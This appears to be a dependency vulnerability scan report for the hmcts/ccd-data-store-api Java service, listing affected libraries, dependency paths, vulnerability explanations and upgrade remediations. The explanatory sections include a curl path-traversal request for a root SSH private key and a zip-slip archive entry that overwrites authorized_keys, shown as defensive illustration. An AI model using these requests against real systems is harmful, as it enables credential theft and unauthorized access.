  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 commons-io:commons-io@2.5
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 io.swagger.core.v3:swagger-core-jakarta@2.2.47 commons-io:commons-io@2.5
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17.

Overview

commons-io:commons-io is a The Apache Commons IO library contains utility classes, stream implementations, file filters, file comparators, endian transformation classes, and much more.

Affected versions of this package are vulnerable to Directory Traversal via calling the method FileNameUtils.normalize using an improper string like //../foo or \\..\foo, which may allow access to files in the parent directory.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade commons-io:commons-io to version 2.7 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the accumulation of data in the HttpPostRequestDecoder. The decoder cumulates bytes in the undecodedChunk buffer until it can decode a field, allowing for data to accumulate without limits.

An attacker can cause a denial of service by sending a chunked post consisting of many small fields that will be accumulated in the bodyListHttpData list.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.108.Final or higher.

References

medium severity

Improper Input Validation

  • Vulnerable module: org.apache.httpcomponents:httpclient
  • Introduced through: io.searchbox:jest@6.3.1 and org.elasticsearch.client:elasticsearch-rest-client@9.2.4

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.apache.httpcomponents:httpclient@4.5.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch.client:elasticsearch-rest-client@9.2.4 org.apache.httpcomponents:httpclient@4.5.3
    Remediation: Upgrade to org.elasticsearch.client:elasticsearch-rest-client@9.2.4.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.elasticsearch.client:elasticsearch-rest-client@9.2.4 org.apache.httpcomponents:httpasyncclient@4.1.3 org.apache.httpcomponents:httpclient@4.5.3
    Remediation: Upgrade to org.elasticsearch.client:elasticsearch-rest-client@9.2.4.

Overview

org.apache.httpcomponents:httpclient is a HttpClient component of the Apache HttpComponents project.

Affected versions of this package are vulnerable to Improper Input Validation. Apache HttpClient can misinterpret malformed authority component in request URIs passed to the library as java.net.URI object and pick the wrong target host for request execution.

Remediation

Upgrade org.apache.httpcomponents:httpclient to version 4.5.13 or higher.

References

medium severity
new

Cross-site Scripting (XSS)

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: org.springframework.security:spring-security-web@7.1.0, org.springframework.security:spring-security-oauth2-core@7.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.hateoas:spring-hateoas@3.1.1 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.1.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.security:spring-security-oauth2-client@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework:spring-webmvc@7.0.8 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-webmvc@4.1.0 org.springframework.boot:spring-boot-servlet@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-openfeign-core@5.0.1 io.github.openfeign:feign-form-spring@13.6 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-security@4.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-web@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-jose@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.1.0 org.springframework.security:spring-security-oauth2-resource-server@7.1.0 org.springframework.security:spring-security-oauth2-core@7.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.springframework.boot:spring-boot-web-server@4.1.0 org.springframework:spring-web@7.0.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.cloud:spring-cloud-context@5.0.1 org.springframework.boot:spring-boot-restclient@4.0.2 org.springframework.boot:spring-boot-http-client@4.0.2 org.springframework.boot:spring-boot-http-converter@4.1.0 org.springframework:spring-web@7.0.3

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via improper escaping in JavaScriptUtils.javaScriptEscape(). An attacker can inject arbitrary JavaScript code into a web page when user-controlled input is escaped using javaScriptEscape() and subsequently embedded into a JavaScript context. Incorrect escaping may allow malicious input to break out of the intended context and execute in the victim's browser.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade org.springframework:spring-web to version 6.0.0, 6.2.19, 7.0.8 or higher.

References

medium severity

Insufficient Hostname Verification

  • Vulnerable module: ch.qos.logback:logback-core
  • Introduced through: com.microsoft.azure:applicationinsights-logging-logback@2.6.4, org.springframework.boot:spring-boot-starter-validation@4.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-validation@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-cache@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-jdbc@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter-micrometer-metrics@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-actuator@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-data-jpa@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.1 org.springframework.cloud:spring-cloud-starter@5.0.1 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3 ch.qos.logback:logback-core@1.2.3
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.

Overview

ch.qos.logback:logback-core is a logback-core module.

Affected versions of this package are vulnerable to Insufficient Hostname Verification. X.509 are not properly validated. By spoofing the TLS/SSL server via a certificate that appears valid, an attacker with the ability to intercept network traffic (e.g. MitM, DNS cache poisoning) can disclose and optionally manipulate transmitted data.

Remediation

Upgrade ch.qos.logback:logback-core to version 1.2.7 or higher.

References

medium severity

Dual license: EPL-1.0, LGPL-2.1

  • Module: ch.qos.logback:logback-classic
  • Introduced through: com.microsoft.azure:applicationinsights-logging-logback@2.6.4, org.springframework.boot:spring-boot-starter-validation@4.1.0 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.microsoft.azure:applicationinsights-logging-logback@2.6.4 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-validation@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-actuator@4.1.0 org.springframework.boot:spring-boot-starter-micrometer-metrics@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.boot:spring-boot-starter-cache@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-data-jpa@4.1.0 org.springframework.boot:spring-boot-starter-jdbc@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.1.0 org.springframework.boot:spring-boot-starter-security@4.1.0 org.springframework.boot:spring-boot-starter@4.1.0 org.springframework.boot:spring-boot-starter-logging@4.1.0 ch.qos.logback:logback-classic@1.2.3
